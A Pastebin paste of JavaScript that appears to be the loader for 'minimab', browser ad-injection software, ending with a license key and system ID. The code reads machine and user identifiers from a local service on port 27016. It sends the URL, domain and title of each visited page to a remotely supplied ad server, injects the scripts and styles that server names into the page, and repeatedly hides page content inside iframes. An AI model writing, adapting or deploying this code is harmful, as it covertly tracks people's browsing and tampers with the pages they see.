NinoSkopac

fucking people

May 24th, 2015
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. //var mab_boot_url  = "http://api.rawautoprofits.com/api/wsv2?command=adStrings&app=minimab";
  3. //var mab_boot_url  = "http://api.rawautoprofits.com/api/wsv2?command=adStrings&app=minimab&release=26";
  4.  
  5. //var mab_boot_url = "http://api.recomme.me/api/wsv2?command=getURL&resource=ad_strings";
  6.  
  7. var mab_boot_url        = "";
  8. var mab_boot_url_path   = "/api/wsv2?command=getURL&resource=ad_strings";
  9. var mab_boot_url_domain = ""; //This should be somthing like "http://my.domain.com" or "https://my.domain.com"
  10.  
  11. var mab_cache_url   = "http://127.0.0.1:27016/script/"
  12. var mab_mid_url     = "http://127.0.0.1:27016/id";
  13. var mab_guid_url    = "http://127.0.0.1:27016/guid";
  14. var mab_update_url  = "http://127.0.0.1:27016/update";
  15.  
  16. var mab_version_url = "http://127.0.0.1:27016/version";
  17. var mab_appid_url   = "http://127.0.0.1:27016/appid";
  18. var mab_domain_url  = "http://127.0.0.1:27016/domain";
  19.  
  20. var mab_mid = null;
  21. var mab_guid = null;
  22. var mab_version = null;
  23. var mab_version_version = null;
  24. var mab_version_release = null;
  25. var mab_appid = null;
  26.  
  27. var mab_injectFlag = false;
  28. var mab_responseText = null;
  29. var minimabArgs = null;
  30.  
  31. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  32.  
  33. // BROWSER DETECTION
  34.  
  35. var mab_BrowserDetect = {
  36.  
  37.     init: function () {
  38.         this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
  39.  
  40.         this.version = this.searchVersion(navigator.userAgent)
  41.             || this.searchVersion(navigator.appVersion)
  42.             || "an unknown version";
  43.  
  44.         this.OS = this.searchString(this.dataOS) || "an unknown OS";
  45.     },
  46.  
  47.     searchString: function (data) {
  48.  
  49.         for (var i = 0; i < data.length; i++) {
  50.            
  51.             var dataString = data[i].string;
  52.            
  53.             var dataProp = data[i].prop;
  54.            
  55.             this.versionSearchString = data[i].versionSearch || data[i].identity;
  56.  
  57.             if (dataString) {
  58.  
  59.                 if (dataString.indexOf(data[i].subString) != -1)
  60.  
  61.                     return data[i].identity;
  62.             }
  63.  
  64.             else if (dataProp)
  65.  
  66.                 return data[i].identity;
  67.         }
  68.  
  69.     },
  70.  
  71.     searchVersion: function (dataString) {
  72.  
  73.         var index = dataString.indexOf(this.versionSearchString);
  74.  
  75.         if (index == -1) return;
  76.  
  77.         return parseFloat(dataString.substring(index + this.versionSearchString.length + 1));
  78.  
  79.     },
  80.  
  81.     dataBrowser: [
  82.  
  83.         {
  84.  
  85.             string: navigator.userAgent,
  86.  
  87.             subString: "Chrome",
  88.  
  89.             identity: "Chrome"
  90.  
  91.         },
  92.  
  93.         {
  94.  
  95.             string: navigator.userAgent,
  96.  
  97.             subString: "OmniWeb",
  98.  
  99.             versionSearch: "OmniWeb/",
  100.  
  101.             identity: "OmniWeb"
  102.  
  103.         },
  104.  
  105.         {
  106.  
  107.             string: navigator.vendor,
  108.  
  109.             subString: "Apple",
  110.  
  111.             identity: "Safari",
  112.  
  113.             versionSearch: "Version"
  114.  
  115.         },
  116.  
  117.         {
  118.  
  119.             prop: window.opera,
  120.  
  121.             identity: "Opera",
  122.  
  123.             versionSearch: "Version"
  124.  
  125.         },
  126.  
  127.         {
  128.  
  129.             string: navigator.vendor,
  130.  
  131.             subString: "iCab",
  132.  
  133.             identity: "iCab"
  134.  
  135.         },
  136.  
  137.         {
  138.  
  139.             string: navigator.vendor,
  140.  
  141.             subString: "KDE",
  142.  
  143.             identity: "Konqueror"
  144.  
  145.         },
  146.  
  147.         {
  148.  
  149.             string: navigator.userAgent,
  150.  
  151.             subString: "Firefox",
  152.  
  153.             identity: "Firefox"
  154.  
  155.         },
  156.  
  157.         {
  158.  
  159.             string: navigator.vendor,
  160.  
  161.             subString: "Camino",
  162.  
  163.             identity: "Camino"
  164.  
  165.         },
  166.  
  167.         {       // for newer Netscapes (6+)
  168.  
  169.             string: navigator.userAgent,
  170.  
  171.             subString: "Netscape",
  172.  
  173.             identity: "Netscape"
  174.  
  175.         },
  176.  
  177.         {
  178.  
  179.             string: navigator.userAgent,
  180.  
  181.             subString: "MSIE",
  182.  
  183.             identity: "Explorer",
  184.  
  185.             versionSearch: "MSIE"
  186.  
  187.         },
  188.  
  189.         {
  190.  
  191.             string: navigator.userAgent,
  192.  
  193.             subString: "Gecko",
  194.  
  195.             identity: "Mozilla",
  196.  
  197.             versionSearch: "rv"
  198.  
  199.         },
  200.  
  201.         {       // for older Netscapes (4-)
  202.  
  203.             string: navigator.userAgent,
  204.  
  205.             subString: "Mozilla",
  206.  
  207.             identity: "Netscape",
  208.  
  209.             versionSearch: "Mozilla"
  210.  
  211.         }
  212.  
  213.     ],
  214.  
  215.  
  216.     dataOS: [
  217.  
  218.         {
  219.  
  220.             string: navigator.platform,
  221.  
  222.             subString: "Win",
  223.  
  224.             identity: "Windows"
  225.  
  226.         },
  227.  
  228.         {
  229.  
  230.             string: navigator.platform,
  231.  
  232.             subString: "Mac",
  233.  
  234.             identity: "Mac"
  235.  
  236.         },
  237.  
  238.         {
  239.  
  240.             string: navigator.userAgent,
  241.  
  242.             subString: "iPhone",
  243.  
  244.             identity: "iPhone/iPod"
  245.  
  246.         },
  247.  
  248.         {
  249.  
  250.             string: navigator.platform,
  251.  
  252.             subString: "Linux",
  253.  
  254.             identity: "Linux"
  255.  
  256.         }
  257.  
  258.     ]
  259.  
  260. };
  261.  
  262. mab_BrowserDetect.init();
  263.  
  264. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  265.  
  266. function mab_browserCompatible() {
  267.     ///////////////////////////////////////////////////////////
  268.     //Special cases
  269.    
  270.     //Awesomium exception
  271.     var ua = navigator.userAgent;
  272.     if (ua.toLowerCase().indexOf("awesomium") > -1) return false;
  273.    
  274.     //////////////////////////////////////////////////////////
  275.    
  276.  
  277.     var myBrowserOS = mab_BrowserDetect.OS;
  278.  
  279.     var myBrowserName = mab_BrowserDetect.browser;
  280.  
  281.     var myBrowserVersion = Number(mab_BrowserDetect.version);
  282.    
  283.     //alert(myBrowserOS + "\n" + myBrowserName + "\n" + myBrowserVersion);
  284.  
  285.     //alert(window.ActiveXObject);
  286.  
  287.     if (myBrowserOS.toLowerCase().indexOf("windows") == -1) return false;
  288.  
  289.     var bname = myBrowserName.toLowerCase();
  290.  
  291.     var bver = myBrowserVersion;
  292.  
  293.     if (bname.indexOf("mozilla") > -1 && window.ActiveXObject !== null && bver >= 11) return true; //First detect IE11+
  294.  
  295.     if (bname.indexOf("chrome") == -1 && bname.indexOf("firefox") == -1 && bname.indexOf("explorer") == -1) return false;
  296.  
  297.     if (bname.indexOf("chrome") > -1 && bver < 30) return false;
  298.  
  299.     if (bname.indexOf("firefox") > -1 && bver < 25) return false;
  300.  
  301.     if (bname.indexOf("explorer") > -1 && bver < 9) return false;
  302.  
  303.     return true;
  304. }
  305.  
  306. var mab_browser_compatible = mab_browserCompatible();
  307.  
  308. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  309.  
  310. function inIframe2()
  311. {
  312.     if (window.frameElement && typeof window.frameElement !== 'undefined' && window.frameElement.tagName.toLowerCase() == "iframe")
  313.     {
  314.         try
  315.         {
  316.             return window.self !== window.top;
  317.         }
  318.    
  319.         catch (e)
  320.         {
  321.             return true;
  322.         }
  323.     }
  324.     else
  325.         return false;
  326. }
  327.  
  328. function inIframe()
  329. {
  330.     try
  331.     {
  332.         return window.self !== window.top;
  333.     }
  334.  
  335.     catch (e)
  336.     {
  337.         return true;
  338.     }
  339. }
  340.  
  341. var mabVisInterval = null;
  342.  
  343. function mabMakeInvisible()
  344. {
  345.     document.body.style.visibility = "hidden";
  346. }
  347.  
  348.  
  349. if (mab_browser_compatible && inIframe())
  350. {
  351.     mabVisInterval = setInterval(mabMakeInvisible, 50);
  352. }
  353.  
  354. var is_iframe;
  355.  
  356. if (inIframe())
  357.  
  358.     is_iframe = "true";
  359.  
  360. else
  361.  
  362.     is_iframe = "false";
  363.  
  364. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  365.  
  366. function sendRequest(url,callback,postData,el,w,h)
  367. {
  368.     var req = createXMLHTTPObject();
  369.    
  370.     if(!req)
  371.     {
  372.         /*alert("Could not create XHR object!");*/
  373.         return;
  374.     }
  375.    
  376.     var method = (postData)?"POST":"GET";
  377.    
  378.     /*alert("Will send request to url: " + url);*/
  379.    
  380.     req.open(method,url,true);
  381.    
  382.     if (postData) req.setRequestHeader('Content-type','application/x-www-form-urlencoded');
  383.    
  384.     req.onreadystatechange = function()
  385.                             {
  386.                                 /*
  387.                                 if (url.toLowerCase().indexOf("127.0.0.1") > -1)
  388.                                 {
  389.                                     callback(req,el,w,h,url);
  390.                                 }
  391.                                 else
  392.                                 {
  393.                                 */
  394.                                     if (req.readyState!=4) return;
  395.                                
  396.                                    
  397.                                     if(req.status!=200 && req.status!=304)
  398.                                     {
  399.                                         return;
  400.                                     }
  401.                                
  402.                                     callback(req,el,w,h,url);
  403.                                 //}
  404.                             }
  405.                                
  406.     if (req.readyState == 4) return;
  407.                                
  408.     req.send(postData);
  409. }
  410.  
  411. var XMLHttpFactories = [function(){return new XMLHttpRequest()},
  412.                         function(){return new ActiveXObject("Msxml2.XMLHTTP")},
  413.                         function(){return new ActiveXObject("Msxml3.XMLHTTP")},
  414.                         function(){return new ActiveXObject("Microsoft.XMLHTTP")}];
  415.                        
  416. function createXMLHTTPObject()
  417. {
  418.     var xmlhttp=false;
  419.    
  420.     for(var i=0; i<XMLHttpFactories.length; i++)
  421.     {
  422.         try
  423.         {
  424.             xmlhttp=XMLHttpFactories[i]();
  425.         }
  426.         catch(e)
  427.         {
  428.             continue;
  429.         }
  430.         break;
  431.     }
  432.    
  433.     return xmlhttp;
  434. }
  435.  
  436. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  437.  
  438. var mab_version_read  = false;
  439. var mabversionTimeout = null;
  440. var mabversionCounter = 0;
  441. var mabversionCounterMax = 100;
  442.  
  443. function mab_readVersion(req)
  444. {
  445.     if (req && req.responseText)
  446.     {
  447.         //alert("mab_readVersion: req.responseText = " + req.responseText);
  448.        
  449.         mab_version = req.responseText;
  450.         mab_version_read = true;
  451.        
  452.         mab_version_version = mab_version.substring(0, mab_version.indexOf(","));
  453.         mab_version_release = mab_version.substring(mab_version.indexOf(",") + 1);
  454.        
  455.         //alert("version = " + mab_version_version);
  456.         //alert("release = " + mab_version_release);
  457.     }
  458.     else
  459.     {
  460.         mabversionTimeout = setTimeout(mab_getVersion, 100);
  461.         return;
  462.     }
  463. }
  464.  
  465. function mab_getVersion()
  466. {
  467.     if (mabversionTimeout)
  468.     {
  469.         clearTimeout(mabversionTimeout);
  470.         mabversionTimeout = null;
  471.     }
  472.    
  473.     if (!mab_browser_compatible) return;
  474.        
  475.     if (mabversionCounter++ > mabversionCounterMax) return;
  476.  
  477.     if (mab_version != "none" && mab_version) return;
  478.    
  479.     //alert("Will request version");
  480.    
  481.     sendRequest(mab_version_url, mab_readVersion, null, null, null, null);
  482. }
  483.  
  484.  
  485. mab_getVersion();
  486.  
  487. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  488.  
  489. var mab_mid_read  = false;
  490. var mabmidTimeout = null;
  491. var mabmidCounter = 0;
  492. var mabmidCounterMax = 100;
  493.  
  494. function mab_readMid(req)
  495. {
  496.     if (req && req.responseText)
  497.     {
  498.         //alert("mab_readMid: req.responseText = " + req.responseText);
  499.        
  500.         mab_mid = req.responseText;
  501.         mab_mid_read = true;
  502.     }
  503.     else
  504.     {
  505.         mabmidTimeout = setTimeout(mab_getMid, 100);
  506.         return;
  507.     }
  508. }
  509.  
  510. function mab_getMid()
  511. {
  512.     if (mabmidTimeout)
  513.     {
  514.         clearTimeout(mabmidTimeout);
  515.         mabmidTimeout = null;
  516.     }
  517.    
  518.     if (!mab_browser_compatible) return;
  519.        
  520.     if (mabmidCounter++ > mabmidCounterMax) return;
  521.  
  522.     //alert("Will execute overlay logic");
  523.  
  524.     if (mab_mid != "none" && mab_mid) return;
  525.    
  526.     //alert("Will request mid");
  527.    
  528.     sendRequest(mab_mid_url, mab_readMid, null, null, null, null);
  529. }
  530.  
  531.  
  532. mab_getMid();
  533.  
  534. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  535.  
  536. var mab_guid_read  = false;
  537. var mabguidTimeout = null;
  538. var mabguidCounter = 0;
  539. var mabguidCounterMax = 100;
  540.  
  541. function mab_readGuid(req)
  542. {
  543.     if (req && req.responseText)
  544.     {
  545.         //alert("mab_readGuid: req.responseText = " + req.responseText);
  546.        
  547.         mab_guid = req.responseText;
  548.         mab_guid_read = true;
  549.     }
  550.     else
  551.     {
  552.         mabguidTimeout = setTimeout(mab_getGuid, 100);
  553.         return;
  554.     }
  555. }
  556.  
  557. function mab_getGuid()
  558. {
  559.     if (mabguidTimeout)
  560.     {
  561.         clearTimeout(mabguidTimeout);
  562.         mabguidTimeout = null;
  563.     }
  564.    
  565.     if (!mab_browser_compatible) return;
  566.        
  567.     if (mabguidCounter++ > mabguidCounterMax) return;
  568.  
  569.     //alert("Will execute overlay logic");
  570.  
  571.     if (mab_guid != "none" && mab_guid) return;
  572.    
  573.     //alert("Will request guid");
  574.    
  575.     sendRequest(mab_guid_url, mab_readGuid, null, null, null, null);
  576. }
  577.  
  578.  
  579. mab_getGuid();
  580.  
  581. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  582.  
  583. var mab_appid_read  = false;
  584. var mabappidTimeout = null;
  585. var mabappidCounter = 0;
  586. var mabappidCounterMax = 100;
  587.  
  588. function mab_readAppID(req)
  589. {
  590.     if (req && req.responseText)
  591.     {
  592.         //alert("mab_readAppID: req.responseText = " + req.responseText);
  593.        
  594.         mab_appid = req.responseText;
  595.         mab_appid_read = true;
  596.     }
  597.     else
  598.     {
  599.         mabappidTimeout = setTimeout(mab_getAppID, 100);
  600.         return;
  601.     }
  602. }
  603.  
  604. function mab_getAppID()
  605. {
  606.     if (mabappidTimeout)
  607.     {
  608.         clearTimeout(mabappidTimeout);
  609.         mabappidTimeout = null;
  610.     }
  611.    
  612.     if (!mab_browser_compatible) return;
  613.        
  614.     if (mabappidCounter++ > mabappidCounterMax) return;
  615.  
  616.     //alert("Will execute overlay logic");
  617.  
  618.     if (mab_appid != "none" && mab_appid) return;
  619.    
  620.     //alert("Will request appid");
  621.    
  622.     sendRequest(mab_appid_url, mab_readAppID, null, null, null, null);
  623. }
  624.  
  625.  
  626. mab_getAppID();
  627.  
  628. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  629.  
  630. var mab_injectScripts_timeout = null;
  631.  
  632. function mab_injectScripts(req)
  633. {
  634.     if (mab_injectScripts_timeout)
  635.     {
  636.         clearTimeout(mab_injectScripts_timeout);
  637.         mab_injectScripts_timeout = null;
  638.     }
  639.    
  640.     //if (inIframe()) alert("mab_injectScripts() called in iframe");
  641.    
  642.     if (mab_injectFlag) return;
  643.    
  644.     if (req && req.responseText)
  645.         mab_responseText = req.responseText;
  646.     else if (!mab_responseText)
  647.     {
  648.         mab_boot3();
  649.         return;
  650.     }
  651.    
  652.     var rs = document.readyState.toLowerCase();
  653.    
  654.     //if (inIframe()) alert("rs = \"" + rs + "\" in iframe");
  655.    
  656.     if (rs.indexOf("loading") > -1)
  657.     {
  658.         mab_injectScripts_timeout = setTimeout(mab_injectScripts, 250);
  659.         return;
  660.     }
  661.    
  662.     //if (inIframe()) alert("In iframe, mab_responseText = \n" + mab_responseText);
  663.    
  664.     var jsonResponse = JSON.parse(mab_responseText);
  665.    
  666.     //Look for on-demand script cache update flag
  667.     var cacheUpdate = jsonResponse["cacheUpdate"];
  668.    
  669.     if (cacheUpdate)
  670.     {
  671.         sendRequest(mab_update_url, function(){}, null, null, null, null);
  672.     }
  673.    
  674.     var injectScripts = jsonResponse["injectScripts"];
  675.    
  676.     if (!injectScripts || !injectScripts.length)
  677.     {
  678.         //if (inIframe()) alert("No inject scripts found!");
  679.        
  680.         clearInterval(mabVisInterval);
  681.         document.body.style.visibility = "visible";
  682.        
  683.         return;
  684.     }
  685.    
  686.     mab_injectFlag = true;
  687.    
  688.     minimabArgs = jsonResponse["minimabArgs"];
  689.     minimabArgs.appid = mab_appid;
  690.    
  691.     //if (inIframe()) alert("Will inject scripts in iframe");
  692.    
  693.     for (var i = 0; i < injectScripts.length; i++)
  694.     {
  695.         var elTag = null;
  696.         var el = null;
  697.        
  698.         var sName = injectScripts[i].name;
  699.         var sVersion = injectScripts[i].currentVersion;
  700.        
  701.         //if (sName.toLowerCase().indexOf("adscript_start.js")  > -1) continue; //REMOVE THIS
  702.         //if (inIframe()) alert("sName = " + sName);
  703.         //if (inIframe()) alert("sVersion = " + sVersion);
  704.         //if (inIframe()) alert("inIframe() = " + inIframe());
  705.        
  706.         if (inIframe() && sName.toLowerCase().indexOf("adscript_start.js") == -1) continue;
  707.        
  708.         //if (!inIframe() && sName.toLowerCase().indexOf("adscript_start.js")  > -1) continue;
  709.        
  710.         if (sName.toLowerCase().indexOf(".css") > -1)
  711.             elTag = "style";
  712.         else if (sName.toLowerCase().indexOf(".js") > -1)
  713.             elTag = "script";
  714.         else
  715.             continue;
  716.        
  717.         var sFinalName = sName + "." + sVersion;
  718.        
  719.         //if (inIframe()) alert("Will inject: " + sFinalName + " in iframe");
  720.        
  721.         if (elTag == "script")
  722.         {
  723.             //alert("Will inject script");
  724.             el = document.createElement("script");
  725.             el.type = "text/javascript";
  726.             el.src = mab_cache_url + sFinalName + ".js";
  727.             document.body.appendChild(el);
  728.             //alert("injected script");
  729.         }
  730.         else if (elTag == "style")
  731.         {
  732.             //alert("Will inject style");
  733.             el = document.createElement('link');
  734.             el.setAttribute('rel', 'stylesheet');
  735.             el.setAttribute('type', 'text/css');
  736.             el.setAttribute('href', mab_cache_url + sFinalName + ".css");
  737.             document.getElementsByTagName('head')[0].appendChild(el);
  738.             //alert("injected style");
  739.         }
  740.    
  741.         //alert("Will append " + elTag + " element with src = " + el.src);
  742.     }
  743.  
  744. }
  745.  
  746. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  747.  
  748. var mab_urlArray = null;
  749. var mab_urlArray_index = 0;
  750. var mab_current_url = null;
  751. var mab_current_domain = null;
  752.  
  753. function mab_boot3()
  754. {
  755.     if (mab_urlArray_index > mab_urlArray.length - 1) return;
  756.    
  757.     mab_current_url = mab_urlArray[mab_urlArray_index++];
  758.    
  759.     //alert("mab_current_url = " + mab_current_url);
  760.    
  761.     var pos1 = mab_current_url.indexOf("//") + 2;
  762.     var s = mab_current_url.substring(pos1);
  763.     var pos2 = s.indexOf("/");
  764.    
  765.     mab_current_domain = mab_current_url.substring(0, pos1 + pos2);
  766.    
  767.     //alert("mab_current_domain = " + mab_current_domain);  
  768.  
  769.     var url    = encodeURIComponent(document.URL);
  770.     var domain = document.domain;
  771.     var title  = encodeURIComponent(document.title);
  772.    
  773.     sendRequest(mab_current_url + "&app=minimab"                      +
  774.                                   "&version="   + mab_version_version +
  775.                                   "&release="   + mab_version_release +
  776.                                   "&mid="       + mab_mid +
  777.                                   "&guid="      + mab_guid +
  778.                                   "&iniframe="  + is_iframe +
  779.                                   "&url="       + url +
  780.                                   "&domain="    + domain +
  781.                                   "&title="     + title +
  782.                                   "&appid="     + mab_appid,
  783.                                   mab_injectScripts, null, null, null, null);
  784. }
  785.  
  786. function mab_boot2(req)
  787. {
  788.     //if (!inIframe()) alert("mab_boot() called in main page");
  789.        
  790.     if (!req || !req.responseText) return;
  791.    
  792.     //Get and parse URL array
  793.     mab_urlArray = JSON.parse(req.responseText);
  794.    
  795.     mab_boot3();
  796. }
  797.  
  798.  
  799. function mab_boot(req)
  800. {  
  801.     if (!req || !req.responseText) return;
  802.    
  803.     //if(req.status != 200 && req.status != 304) return;
  804.    
  805.     /*
  806.     var url = req.responseText;
  807.    
  808.     var s = url.substring(url.indexOf("//" + 2));
  809.    
  810.     if (!s) return;
  811.    
  812.     var pos = s.indexOf("/");
  813.    
  814.     if (pos == -1) return;
  815.    
  816.     mab_boot_url_domain = url.substring(0, pos);
  817.     */
  818.  
  819.     mab_boot_url_domain = req.responseText;
  820.    
  821.     mab_boot_url = mab_boot_url_domain + mab_boot_url_path;
  822.    
  823.     sendRequest(mab_boot_url, mab_boot2, null, null, null, null);
  824. }
  825.  
  826.  
  827. function mab_preboot()
  828. {
  829.     //if (!inIframe()) processMainPage();
  830.     //alert("mab_preboot called");
  831.     sendRequest(mab_domain_url, mab_boot, null, null, null, null);
  832. }
  833.  
  834. //////////////////////////////////////////////////////////////////////////////////////////////////////////
  835.  
  836.  
  837. var mab_checkDocCompletionTimeout = 0;
  838.  
  839. function mab_checkDocCompletion()
  840. {
  841.     //alert("checkDocCompletion");
  842.     //alert(document.readyState);
  843.    
  844.     clearTimeout(mab_checkDocCompletionTimeout);
  845.    
  846.     var rs = document.readyState.toLowerCase();
  847.    
  848.     //alert("mab_version_read = " +  mab_version_read + ", mab_mid_read = " +  mab_mid_read + ", mab_appid_read = " + mab_appid_read);
  849.    
  850.     if ( (rs.toLowerCase().indexOf("loading") > -1 || rs.toLowerCase().indexOf("loaded") > -1 || rs.indexOf("complete") > -1) && mab_version_read && mab_mid_read && mab_appid_read && mab_guid_read)
  851.     {  
  852.         mab_preboot();
  853.         //setTimeout(mab_preboot, 5000);
  854.     }
  855.     else
  856.     {
  857.         mab_checkDocCompletionTimeout = setTimeout(mab_checkDocCompletion, 50);
  858.     }
  859. }
  860.  
  861. //if (inIframe()) alert("will call mab_checkDocCompletion() in iframe");
  862.  
  863. if (mab_browser_compatible)
  864. {
  865.     //alert("Browser is compatible");
  866.     mab_checkDocCompletionTimeout = setTimeout(mab_checkDocCompletion, 0);
  867. }
  868. userElementRules = new Array("");var MAB_License = "kolos";var MAB_SystemID = "45EF42BFE0FAADDC4DAAD6222E451FFE";
Advertisement
Add Comment
Please, Sign In to add comment